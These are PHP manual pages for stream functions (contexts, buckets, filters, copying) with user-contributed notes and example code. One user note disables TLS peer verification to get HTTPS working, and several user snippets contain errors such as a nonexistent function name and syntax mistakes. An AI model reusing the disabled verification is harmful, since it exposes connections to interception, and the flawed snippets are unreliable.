  • stream_set_write_buffer — Sets write file buffering on the given stream
  • stream_socket_accept — 接受由 stream_socket_server 创建的套接字连接
  • stream_socket_client — Open Internet or Unix domain socket connection
  • stream_socket_enable_crypto — Turns encryption on/off on an already connected socket
  • stream_socket_get_name — 获取本地或者远程的套接字名称
  • stream_socket_pair — 创建一对完全一样的网络套接字连接流
  • stream_socket_recvfrom — Receives data from a socket, connected or not
  • stream_socket_sendto — Sends a message to a socket, whether it is connected or not
  • stream_socket_server — 创建 Internet 或 Unix 域服务器套接字
  • stream_socket_shutdown — Shutdown a full-duplex connection
  • stream_supports_lock — Tells whether the stream supports locking
  • stream_wrapper_register — 注册一个用 PHP 类实现的 URL 封装协议
  • stream_wrapper_restore — Restores a previously unregistered built-in wrapper
  • stream_wrapper_unregister — Unregister a URL wrapper

User Contributed Notes

marcus at synchromedia dot co dot uk 15-Nov-2007 03:13
I can't find any real documentation on the quoted-printable-encode stream filter, but I've gathered info from several places. It seems there are 4 options that can be passed in the param array as in my other note on this subject:

line-length: integer, simply sets line length before a soft break is inserted
line-break-chars: Which char or chars to consider as a line break - note that "\r\n" will only match CRLF, not CR or LF, so make sure it matches your content.
binary: boolean, hex encodes all control chars, including spaces and line breaks, but leaves alphanumerics untouched
force-encode-first: Forcibly hex-encodes the first char on each line, even if it's alphanumeric. This is useful for avoiding corruption in some incompetent mail servers, like Exchange.
marcus at synchromedia dot co dot uk 30-Oct-2006 10:16
As this article says, there is no quoted_printable_encode function() in PHP: http://www.zend.com/manual/filters.convert.php

However there is a stream filter for quoted printable encoding. Here's an example function that produces output suitable for email and doesn't explicitly use external files (though it might do for strings over 2Mb due to the nature of the temp stream type):

<?php
function quoted_printable_encode($string) {
        $fp = fopen('php://temp/', 'r+');
        $params = array('line-length' => 70, 'line-break-chars' => "\r\n");
        stream_filter_append($fp, 'convert.quoted-printable-encode', STREAM_FILTER_READ, $params);
        fputs($fp, $string);
        rewind($fp);
        return stream_get_contents($fp);
}

echo quoted_printable_encode(str_repeat("hello there ", 50)." a=1\r\n")."\n";
?>

The filter needs to be restricted to STREAM_FILTER_READ because by default it will get filtered both going into and out of the stream, and will thus get encoded twice.

It should be much faster than using a PHP implementation of the same thing, though note that this will only work in PHP 5.1+.


Append bucket to brigade

  • ? Stream 函数
  • stream_bucket_make_writeable ?
  • PHP Manual
  • Stream 函数
  • Append bucket to brigade

stream_bucket_append

(PHP 5, PHP 7, PHP 8)

stream_bucket_append — Append bucket to brigade

说明

stream_bucket_append(resource $brigade, object $bucket): void
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Returns a bucket object from the brigade to operate on

  • ? stream_bucket_append
  • stream_bucket_new ?
  • PHP Manual
  • Stream 函数
  • Returns a bucket object from the brigade to operate on

stream_bucket_make_writeable

(PHP 5, PHP 7, PHP 8)

stream_bucket_make_writeable — Returns a bucket object from the brigade to operate on

说明

stream_bucket_make_writeable(resource $brigade): ?object

This function is called whenever there is the need to access and operate on the content contains in a brigade. It is typically called from php_user_filter::filter().

参数

brigade

The brigade to return a bucket object from.

返回值

Returns a bucket object with the properties listed below or null.

data (string)

data bucket The current string in the bucket.

datalen (integer)

datalen bucket The length of the string in the bucket.

参见

  • stream_bucket_append() - Append bucket to brigade
  • stream_bucket_prepend() - Prepend bucket to brigade

User Contributed Notes

Anonymous 06-Sep-2022 04:03
the object $bucket which is returned also includes a third parameter, $bucket->bucket, which is a reference to the resource


Create a new bucket for use on the current stream

  • ? stream_bucket_make_writeable
  • stream_bucket_prepend ?
  • PHP Manual
  • Stream 函数
  • Create a new bucket for use on the current stream

stream_bucket_new

(PHP 5, PHP 7, PHP 8)

stream_bucket_new — Create a new bucket for use on the current stream

说明

stream_bucket_new(resource $stream, string $buffer): object
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

carlosv775 at gmail dot com 06-Jul-2019 07:50
This function returns FALSE if something wrong happens. If the stream is not available for instance.


Prepend bucket to brigade

  • ? stream_bucket_new
  • stream_context_create ?
  • PHP Manual
  • Stream 函数
  • Prepend bucket to brigade

stream_bucket_prepend

(PHP 5, PHP 7, PHP 8)

stream_bucket_prepend — Prepend bucket to brigade

说明

stream_bucket_prepend(resource $brigade, object $bucket): void

This function can be called to prepend a bucket to a bucket brigade. It is typically called from php_user_filter::filter().

参数

brigade

brigade is a resource pointing to a bucket brigade which contains one or more bucket objects.

bucket

A bucket object.

返回值

没有返回值。

示例

Example #1 stream_bucket_prepend() examples

<?php

class foo extends php_user_filter {
protected $calls = 0;
public function filter($in, $out, &$consumed, $closing) {
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
if ($this->calls++ == 2) {
// This bucket will appear again before any other bucket.
stream_bucket_prepend($in, $bucket);
}
}
return PSFS_FEED_ME;
}
}
stream_filter_register('test', 'foo');
print file_get_contents('php://filter/read=test/resource=foo');
?>

User Contributed Notes

There are no user contributed notes for this page.


创建资源流上下文

  • ? stream_bucket_prepend
  • stream_context_get_default ?
  • PHP Manual
  • Stream 函数
  • 创建资源流上下文

stream_context_create

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_create — 创建资源流上下文

说明

stream_context_create(?array $options = null, ?array $params = null): resource

创建并返回一个资源流上下文，该资源流中包含了 options 中提前设定的所有参数的值。

参数

options

必须是一个二维关联数组或 null，二维关联数组格式如下：$arr['wrapper']['option'] = $value。请参考 上下文（Context）选项 中可用的封装协议和选项列表。

默认为 null。

params

必须是 $arr['parameter'] = $value 格式的关联数组或 null。 请参考 上下文（Context）参数 里的标准资源流参数列表。

返回值

上下文资源流，类型为 resource 。

更新日志

版本 | 说明
8.0.0 | 现在 options 和 params 可以为 null。

示例

Example #1 使用 stream_context_create()

<?php
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);

/* 包含上面的 header 头，向 www.example.com
发送 HTTP 请求 */
$fp = fopen('http://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>

参见

  • stream_context_set_option() - 对资源流、数据包或者上下文设置参数
  • 支持的封装协议列表（支持的协议和封装协议）
  • 上下文选项（上下文（Context）选项和参数）

User Contributed Notes

LANGE.LUDO 18-Aug-2021 05:41
To open HTTPS stream I could only work it out using both HTTP and SSL context options...

Thus something like:
<?php
$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array(
    'ssl' => array(
        'verify_peer' => false,
        'verify_peername' => false
        // Ideally use instead
        // 'cafile' => 'path Certificate Authority file on local filesystem'
    ),
    'http' => array(
        'method' => 'POST',
        'header' =>
            'Content-type: application/x-www-form-urlencoded'."\r\n".
            ''
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('https://example.com/submit.php', false, $context);

// A good friend when it fails:
var_dump($http_response_header);

?>
Andi 27-May-2015 01:41
Don't try to re-use the ressource returned by stream_context_create. It seems not to work when connecting to different domains using https.
Ben J 08-Jan-2013 03:28
I spent a good five hours trying to figure this out, so hopefully it will save someone else some time.

When you are trying to download a file via ftp through an HTTP proxy note that the following will not be enough:
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

Your proxy will respond that authentication is required. You may scratch your head and think "but I'm providing authentication!"

The issue is that the 'header' value is only applicable to http connections. So to authenticate on a proxy, you first have to pull a file from HTTP, before the context is valid for using on FTP.
<?php
$opts = array('ftp' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    ),
    'http' => array(
    'proxy' => 'tcp://vbinprst10:8080',
    'request_fulluri'=>true,
    'header' => array(
        "Proxy-Authorization: Basic $auth"
        )
    )
);
$context = stream_context_create($opts);
$s = file_get_contents("http://www.example.com",false,$context);
$s = file_get_contents("ftp://anonymous:anonymous@ftp.example.org",false,$context);
?>

It's a bit roundabout, but it works. Note that the 'header' val in the ftp array is redundant, but I kept it in anyway.
louis dot huppenbauer at gmail dot com 25-Sep-2012 06:04
When using the https protocol you'll have to make sure to set the right context options to use the full "power" of the ssl/tls encryption.

<?php
$url = 'https://secure.example.com/test/1';
$contextOptions = array(
    'ssl' => array(
        'verify_peer'   => true,
        'cafile'        => __DIR__ . '/cacert.pem',
        'verify_depth'  => 5,
        'CN_match'      => 'secure.example.com'
    )
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
?>

More information about those context options can be found at http://php.net/manual/en/context.ssl.php
Anonymous 22-Oct-2010 10:45
If you are trying to set a custom http header on php 5.2.x, try this:

<?php
// build header and set it the usual way
$authenticationHeader = $headername . ': ' . $headervalue;
$opts = array(
    'http' => array(
        'header'  => $authenticationHeader
    )
);
// workaround for php bug where http headers don't get sent in php 5.2
if(version_compare(PHP_VERSION, '5.3.0') == -1){
    ini_set('user_agent', 'PHP-SOAP/' . PHP_VERSION . "\r\n" . $authenticationHeader);
}

$context  = stream_context_create($opts);

// now use context for soap call or whatever...
?>

this is the only option that worked for me.
contact (at) thepointsolution.com 12-Aug-2010 05:29
I big NOTE that i hope will help some one. Something that is not mentioned in the documentation, is that when php is compiled --with-curlwrappers,

So, instead of:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);
?>

You would setup the header this way:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>array("Accept-language: en",
                           "Cookie: foo=bar",
                           "Custom-Header: value")
  )
);

$context = stream_context_create($opts);
?>

This will work.
mathieu dot laurent at gmail dot com 30-Jul-2009 06:15
Connection via Proxy

<?php

$opts = array('http' => array('proxy' => 'tcp://127.0.0.1:8080', 'request_fulluri' => true));
$context = stream_context_create($opts);

$data = file_get_contents('http://www.php.net', false, $context);

echo $data;

?>
Brian Gottier 16-May-2009 12:13
In some cases, set a header option as an array, and not a string, depending on server configuration.

<?php
$opts = array(
  'http'=> array(
    'method'=>   "GET",
    'header'=>    array( "Cookie: foo="bar"l ),
    'user_agent'=>    $_SERVER['HTTP_USER_AGENT']
  )
);
?>
rlintern at gmail dot com 20-Feb-2009 09:56
I found the following code worked for me for POSTing some binary data to a remote server. I am putting it here since I could not find a quick solution to this by 'googling' or looking through this documentation.

Disclaimer:  I have no idea if this a 'good' solution, since I'm new to PHP, but it may just suit your needs as it did mine.  I am assuming bad things will happen with very large files since the entire file is read into $fileContents.

I am using PHP 5.2.8.

   $fileHandle = fopen("someImage.jpg", "rb");
   $fileContents = stream_get_contents($fileHandle);
   fclose($fileHandle);

   $params = array(
      'http' => array
      (
          'method' => 'POST',
          'header'=>"Content-Type: multipart/form-data\r\n",
          'content' => $fileContents
      )
   );
   $url = "http://somesite.somecompany.com?someParam=someValue";
   $ctx = stream_context_create($params);
   $fp = fopen($url, 'rb', false, $ctx);

   $response = stream_get_contents($fp);
davep at atomicdroplet dot com 17-May-2007 04:02
In addition to the context options mentioned above (appendix N), lower down context options for sockets can be found in appendix P - http://www.php.net/manual/en/transports.php
jrubenstein at gmail dot com 27-Apr-2007 09:36
Something to keep in mind when creating SSL streams (using https://):

<?php
$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>

One would think - the proper way to create a stream options array, would be as follows:

<?php
$context_options = array (
        'https' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

THAT IS THE WRONG WAY!!!
Take notice to the 3rd line: 'https' => array (

The CORRECT way, is as follows:

<?php
$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

Notice, the NEW 3rd line: 'http' => array (

Now - keep this in mind - I spent several hours trying to trouble shoot my issue, when I finally stumbled upon this non-documented issue.

The complete code to post to a secure page is as follows:

<?php
$data = array ('foo' => 'bar', 'bar' => 'baz');
$data = http_build_query($data);

$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );

$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>
chris dot vigelius at gmx dot net 11-Apr-2007 05:34
It seems that the authorization example given below by"php at charlesconsulting dot com" does NOT work with PHP 5.2.1, since the 'header' option will be simply ignored if it is not an array (but a string).

The following works:
$url = 'http://protectedstuff.com';
$auth = base64_encode('user:password');
$header = array("Authorization: Basic $auth");
$opts = array( 'http' => array ('method'=>'GET',
                                           'header'=>$header));
$ctx = stream_context_create($opts);
file_get_contents($url,false,$ctx);

See also http://bugs.php.net/bug.php?id=41051
php at charlesconsulting dot com 13-Jan-2007 07:14
Here's an example of retrieving a page which requests a username and password using the basic authorization scheme.  This calls the w3.org web page validator for a password protected page.
//$fileurl contains page to validate
$validateurl="http://validator.w3.org/check?uri=$fileurl";

$cred = sprintf('Authorization: Basic %s',
    base64_encode('username:password') );
$opts = array(
    'http'=>array(
    'method'=>'GET',
    'header'=>$cred)
);
$ctx = stream_context_create($opts);

$validate=file_get_contents($validateurl,false,$ctx);
sp0n9e at gmail dot com 28-Dec-2006 10:18
Here's a very simple way to do posts easily without need of cURL or writing an http request by hand using the tcp:// wrapper.  I like using contexts just because of their ubiquity and the lack of an optional library such as cURL (though one of the more popular libraries).

<?php

$options = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>
      "Accept-language: en\r\n".
      "Content-type: application/x-www-form-urlencoded\r\n",
    'content'=>http_build_query(array('foo'=>'bar'))
));

$context = stream_context_create($options);

fopen('http://www.example.com/',false,$context);

?>
net_navard at yahoo dot com 09-Dec-2005 10:38
Hi,you can create an array of parameters(what it's called a stream context),which can be transmitted each time you read or write a stream through a socket.In the below example:

$opts =array('http'=>arra('method'=>"GET",
'header'=>"Accept-language:en\r\n"."Cookie: foo=bar\r\n");

What you're actually doing is create a set of parameters(the protocol to be used,the request method,additional http headers and a cookie) which will be used each time you open a socket connection to request www.example.com.This saves a lot of time if you want to use these parameters (called a stream context) whenever you include them when making a request to www.example.com,instead of having to specify them over and over again.
Using the previous example,say you want to create a stream context,which sends a "Content-Type" http header and utilize it when making a request to www.example.com.Take a look:

$opts = array('http'=>array('method'=>"GET",
'header'=>"Content-Type: text/xml; CHARSET=gb2312");

$context = stream_context_create($opts);
$fp = fopen('http://www.example.com','r',false,$context);
fpassthru($fp);
fclose($fp);

Now,when you make a request to www.example.com,the above http header will be included within the socket and transmitted to the server.Best of luck for you friends,Hossein


Retrieve the default stream context

  • ? stream_context_create
  • stream_context_get_options ?
  • PHP Manual
  • Stream 函数
  • Retrieve the default stream context

stream_context_get_default

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_context_get_default — Retrieve the default stream context

说明

stream_context_get_default(?array $options = null): resource

Returns the default stream context which is used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Options for the default context can optionally be specified with this function using the same syntax as stream_context_create().

参数

options
options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value, or null.

返回值

A stream context resource.

更新日志

版本 | 说明
8.0.0 | options is now nullable.

示例

Example #1 Using stream_context_get_default()

<?php
$default_opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar",
'proxy'=>"tcp://10.54.1.39:8000"
)
);

$alternate_opts = array(
'http'=>array(
'method'=>"POST",
'header'=>"Content-type: application/x-www-form-urlencoded\r\n" .
"Content-length: " . strlen("baz=bomb"),
'content'=>"baz=bomb"
)
);

$default = stream_context_get_default($default_opts);
$alternate = stream_context_create($alternate_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
* For www.example.com using context options specified in $default_opts
*/
readfile('http://www.example.com');

/* Sends a POST request directly to www.example.com
* Using context options specified in $alternate_opts
*/
readfile('http://www.example.com', false, $alternate);

?>

参见

  • stream_context_create() - 创建资源流上下文
  • stream_context_set_default() - Set the default stream context
  • Listing of supported wrappers with context options (支持的协议和封装协议).

User Contributed Notes

RQuadling at GMail dot com 02-Jan-2007 01:02
If you are using stream_context_get_default() and are still finding that some functions do not work, make sure that they are not based upon the libxml functions (DOM, SimpleXML and XSLT). These require their own context.

You can easily set them using the following code ...

<?php
// Define the default, system-wide context.
$r_default_context = stream_context_get_default
    (
    array
        (
        'http' => array
            ( // All HTTP requests are passed through the local NTLM proxy server on port 8080.
            'proxy' => 'tcp://127.0.0.1:8080',
            'request_fulluri' => True,
            ),
        )
    );

// Though we said system wide, some extensions need a little coaxing.
libxml_set_streams_context($r_default_context);
?>


获取资源流/数据包/上下文的参数

  • ? stream_context_get_default
  • stream_context_get_params ?
  • PHP Manual
  • Stream 函数
  • 获取资源流/数据包/上下文的参数

stream_context_get_options

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_get_options — 获取资源流/数据包/上下文的参数

说明

stream_context_get_options(resource $stream_or_context): array

返回指定资源流或者上下文的数组参数。

参数

stream_or_context

获取参数信息的 stream 或者 context 。

返回值

返回一个包含有原参数的关联数组。

示例

Example #1 stream_context_get_options() 的例子

<?php
$params = array("method" => "POST");

stream_context_set_default(array("http" => $params));

var_dump(stream_context_get_options(stream_context_get_default()));

?>

以上示例的输出类似于：

array(1) {
  ["http"]=>
  array(1) {
    ["method"]=>
    string(4) "POST"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Retrieves parameters from a context

  • ? stream_context_get_options
  • stream_context_set_default ?
  • PHP Manual
  • Stream 函数
  • Retrieves parameters from a context

stream_context_get_params

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_context_get_params — Retrieves parameters from a context

说明

stream_context_get_params(resource $context): array

Retrieves parameter and options information from the stream or context.

参数

context

A stream resource or a context resource

返回值

Returns an associate array containing all context options and parameters.

示例

Example #1 stream_context_get_params() example

Basic usage example

<?php
$ctx = stream_context_create();
$params = array("notification" => "stream_notification_callback");
stream_context_set_params($ctx, $params);

var_dump(stream_context_get_params($ctx));
?>

以上示例的输出类似于：

array(2) {
  ["notification"]=>
  string(28) "stream_notification_callback"
  ["options"]=>
  array(0) {
  }
}

参见

  • stream_context_set_option() - 对资源流、数据包或者上下文设置参数
  • stream_context_set_params() - Set parameters for a stream/wrapper/context

User Contributed Notes

m dot staas at goowy dot com 30-Nov-2015 01:35
Note that if the resource parameter is invalid the function will return a boolean with value false.

The code:
$r = null
$cert = stream_context_get_params($r);
var_dump($cert);

will return:
bool(false)


Set the default stream context

  • ? stream_context_get_params
  • stream_context_set_option ?
  • PHP Manual
  • Stream 函数
  • Set the default stream context

stream_context_set_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_context_set_default — Set the default stream context

说明

stream_context_set_default(array $options): resource

Set the default stream context which will be used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Uses the same syntax as stream_context_create().

参数

options

The options to set for the default context.

Note:

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

返回值

Returns the default stream context.

示例

Example #1 stream_context_set_default() example

<?php
$default_opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar",
'proxy'=>"tcp://10.54.1.39:8000"
)
);

$default = stream_context_set_default($default_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
* For www.example.com using context options specified in $default_opts
*/
readfile('http://www.example.com');
?>

参见

  • stream_context_create() - 创建资源流上下文
  • stream_context_get_default() - Retrieve the default stream context
  • Listing of supported wrappers with context options (支持的协议和封装协议).

User Contributed Notes

Mahmoud Saeed 11-Oct-2021 04:49
It's worth mentioning that passing an empty array will NOT reset default options.

<?php
stream_context_set_default(array()); // Does nothing.
?>


对资源流、数据包或者上下文设置参数

  • ? stream_context_set_default
  • stream_context_set_options ?
  • PHP Manual
  • Stream 函数
  • 对资源流、数据包或者上下文设置参数

stream_context_set_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_set_option — 对资源流、数据包或者上下文设置参数

说明

stream_context_set_option(
resource $stream_or_context,
string $wrapper,
string $option,
mixed $value
): bool
stream_context_set_option(resource $stream_or_context, array $options): bool

给指定的上下文设置参数。参数 value 是设置 wrapper 的 option 参数的值。

参数

stream_or_context

需要添加参数的资源流或者上下文。

wrapper

封装协议的名称（可能与协议不同）。 请参考 上下文（Context）选项和参数 查看资源流参数列表。

option

选项的名称。

value

选项的值。

options

给 stream_or_context 设置的选项。

Note:

options 必须是一个 $arr['wrapper']['option'] = $value 格式二维关联数组 。

请参考 上下文（Context）选项和参数 查看资源流参数列表。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets options on the specified context

  • ? stream_context_set_option
  • stream_context_set_params ?
  • PHP Manual
  • Stream 函数
  • Sets options on the specified context

stream_context_set_options

(PHP 8 >= 8.3.0)

stream_context_set_options — Sets options on the specified context

说明

stream_context_set_options(resource $context, array $options): bool

Sets options on the specified context.

参数

context

The stream or context resource to apply the options to.

options

The options to set for context.

Note:

options must be an associative array of associative arrays in the format $array['wrapper']['option'] = $value.

Refer to context options and parameters for a listing of stream options.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 stream_context_set_options() example

<?php

$context = stream_context_create();

$options = [
'http' => [
'protocol_version' => 1.1,
'user_agent' => 'PHPT Agent',
],
];

stream_context_set_options($context, $options);
var_dump(stream_context_get_options($context));
?>

以上示例会输出：

array(1) {
  ["http"]=>
  array(2) {
    ["protocol_version"]=>
    float(1.1)
    ["user_agent"]=>
    string(10) "PHPT Agent"
  }
}

参见

  • stream_context_set_option() - 对资源流、数据包或者上下文设置参数

User Contributed Notes

There are no user contributed notes for this page.


Set parameters for a stream/wrapper/context

  • ? stream_context_set_options
  • stream_copy_to_stream ?
  • PHP Manual
  • Stream 函数
  • Set parameters for a stream/wrapper/context

stream_context_set_params

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_context_set_params — Set parameters for a stream/wrapper/context

说明

stream_context_set_params(resource $context, array $params): bool

Sets parameters on the specified context.

参数

context

The stream or context to apply the parameters too.

params

An associative array of parameters to be set in the following format: $params['paramname'] = "paramvalue";.

Supported parameters
Parameter | Purpose
notification | Name of user-defined callback function to be called whenever a stream triggers a notification. Only supported for http:// and ftp:// stream wrappers.
options | Array of options as in context options and parameters.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • stream_notification_callback() - A callback function for the notification context parameter

User Contributed Notes

There are no user contributed notes for this page.


Copies data from one stream to another

  • ? stream_context_set_params
  • stream_filter_append ?
  • PHP Manual
  • Stream 函数
  • Copies data from one stream to another

stream_copy_to_stream

(PHP 5, PHP 7, PHP 8)

stream_copy_to_stream — Copies data from one stream to another

说明

stream_copy_to_stream(
resource $from,
resource $to,
?int $length = null,
int $offset = 0
): int|false

Makes a copy of up to length bytes of data from the current position (or from the offset position, if specified) in from to to. If length is null, all remaining content in from will be copied.

参数

from

The source stream

to

The destination stream

length

Maximum bytes to copy. By default all bytes left are copied.

offset

The offset where to start to copy data

返回值

Returns the total count of bytes copied, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | length is now nullable.

示例

Example #1 A stream_copy_to_stream() example

<?php
$src = fopen('http://www.example.com', 'r');
$dest1 = fopen('first1k.txt', 'w');
$dest2 = fopen('remainder.txt', 'w');

echo stream_copy_to_stream($src, $dest1, 1024) . " bytes copied to first1k.txt\n";
echo stream_copy_to_stream($src, $dest2) . " bytes copied to remainder.txt\n";

?>

参见

  • copy() - 拷贝文件

User Contributed Notes

divinity76 at gmail dot com 29-Nov-2018 10:54
note that this function does not actually use sendfile() on linux systems (at least not in PHP 7.2.12)
felix dot nensa at gmail dot com 26-May-2010 04:57
As stream_copy_to_stream() seems to be quite a memory hog (at least in PHP 5.1.6 64-bit) it may be way more efficient just to copy streams with this simple PHP alternative:

<?php

    function pipe_streams($in, $out)
    {
        $size = 0;
        while (!feof($in)) $size += fwrite($out,fread($in,8192));
        return $size;
    }

?>
none at noone dot com 15-Jun-2007 04:27
stream_copy_to_stream almost copies a stream...

$objInputStream = fopen("php://input", "rb");
$objTempStream = fopen("php://temp", "w+b");
stream_copy_to_stream($objInputStream, $objTempStream);

That code will copy a stream but it will also move the stream pointers to EOF.  This is fine if you plan on rewinding the temp stream but good luck rewinding the input stream.

rewind($objTempStream);
rewind($objInputStream);

So as you can see this is stream copy or stream move depending on what kind of stream you are working with, and because there are no peaking functions your effed if you need to read from an input stream in multiple classes that are unrelated.


Attach a filter to a stream

  • ? stream_copy_to_stream
  • stream_filter_prepend ?
  • PHP Manual
  • Stream 函数
  • Attach a filter to a stream

stream_filter_append

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_filter_append — Attach a filter to a stream

说明

stream_filter_append(
resource $stream,
string $filtername,
int $read_write = ?,
mixed $params = ?
): resource

Adds filtername to the list of filters attached to stream.

参数

stream

The target stream.

filtername

The filter name.

read_write

By default, stream_filter_append() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior.

params

This filter will be added with the specified params to the end of the list and will therefore be called last during stream operations. To add a filter to the beginning of the list, use stream_filter_prepend().

返回值

Returns a resource on success or false on failure. The resource can be used to refer to this filter instance during a call to stream_filter_remove().

false is returned if stream is not a resource or if filtername cannot be located.

示例

Example #1 Controlling where filters are applied

<?php
/* Open a test file for reading and writing */
$fp = fopen('test.txt', 'w+');

/* Apply the ROT13 filter to the
* write filter chain, but not the
* read filter chain */
stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);

/* Write a simple string to the file
* it will be ROT13 transformed on the
* way out */
fwrite($fp, "This is a test\n");

/* Back up to the beginning of the file */
rewind($fp);

/* Read the contents of the file back out.
* Had the filter been applied to the
* read filter chain as well, we would see
* the text ROT13ed back to its original state */
fpassthru($fp);

fclose($fp);

/* Expected Output
---------------

Guvf vf n grfg

*/
?>

注释

Note: When using custom (user) filters
stream_filter_register() must be called first in order to register the desired user filter to filtername.

Note: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is appended to a stream, data in the internal buffers is processed through the new filter at that time. This differs from the behavior of stream_filter_prepend().

Note: When a filter is added for read and write, two instances of the filter are created. stream_filter_append() must be called twice with STREAM_FILTER_READ and STREAM_FILTER_WRITE to get both filter resources.

参见

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_prepend() - Attach a filter to a stream
  • stream_get_filters() - 获取已注册的数据流过滤器列表

User Contributed Notes

TingSong 15-Jan-2023 10:49
To decompress a gzipped stream:

<?php
$stream = $s3_client->getReadStream('somefile.csv.gz');
stream_filter_append($stream, 'zlib.inflate', STREAM_FILTER_READ, ['window' => 15+16]);

// read the decompressed line directly
$line = fgets($stream);
$columns = str_getcsv($line);

// process the data in columns
?>

As the doc of zlib https://www.zlib.net/manual.html#Advanced

The 'window' parameter between 8 and 15 specified the window size from 2? to 21? bytes. It can be added by 16 for wrapping with gzip header and trailer instead of zlib wrapper.

And, window could be -8..-15 for unwrapping RAW deflate data.
Sbastien 09-Feb-2022 10:10
Available internal filters are listed here :

https://www.php.net/manual/filters.php
Dan J 11-Jan-2016 07:23
Note that stream filters applied to STDOUT are not called when outputting via echo or print.

This is easily demonstrated with the standard ROT13 filter:
<?php
stream_filter_append( STDOUT, "string.rot13" );

print "Hello PHP\n";
// Prints "Hello PHP"

fprintf( STDOUT, "Hello PHP\n" );
// Prints "Uryyb CUC"
?>

If you want to filter STDOUT, you may have better luck with an output buffering callback added via ob_start:
http://php.net/manual/en/function.ob-start.php

At the time of this writing, there is an open PHP feature request to support echo and print for stream filters:
https://bugs.php.net/bug.php?id=30583
dlvoy 23-Jul-2008 12:20
While using compression filters on a large set of files during one script invocation i've got
        Fatal error: Allowed memory size of xxx bytes exhausted
even when my max memory limit settings was insane high (128MB)

Workaround is to remember to remove filter after work done with stream_filter_remove:

<?php
foreach($lot_of_files as $filename)
{
    $fp = fopen($filename, 'rb');
    $filter_params = array('level' => 2, 'window' => 15, $memory => 6);
    $s_filter = stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_READ, $filter_params);
    // here stream-operating code

    stream_filter_remove($s_filter);

    fclose($fp);
}
?>
net_navard at yahoo dot com 12-Dec-2005 10:47
Hello firends

The difference betweem adding a stream filter first or last in the filte list in only the order they will be applied to streams.

For example, if you're reading data from a file, and a given filter is placed in first place with stream_filter_prepend()the data will be processed by that filter first.

This example reads out file data and the filter is applied at the beginning of the reading operation:

<?php
/* Open a test file for reading */
$fp = fopen("test.txt", "r");
/* Apply the ROT13 filter to the
 * read filter chain, but not the
 * write filter chain */
stream_filter_prepend($fp, "string.rot13",
STREAM_FILTER_READ);
// read file data
$contents=fread($fp,1024);
// file data is first filtered and stored in $contents
echo $contents;
fclose($fp);
?>

On the other hand, if stream_filter_append() is used, then the filter will be applied at the end of the data operation. The thing about this is only the order filters are applied to streams. Back to the example, it's not the same thing removing new lines from file data and then counting the number of characters, than performing the inverse process. In this case, the order that filters are applied to stream is important.

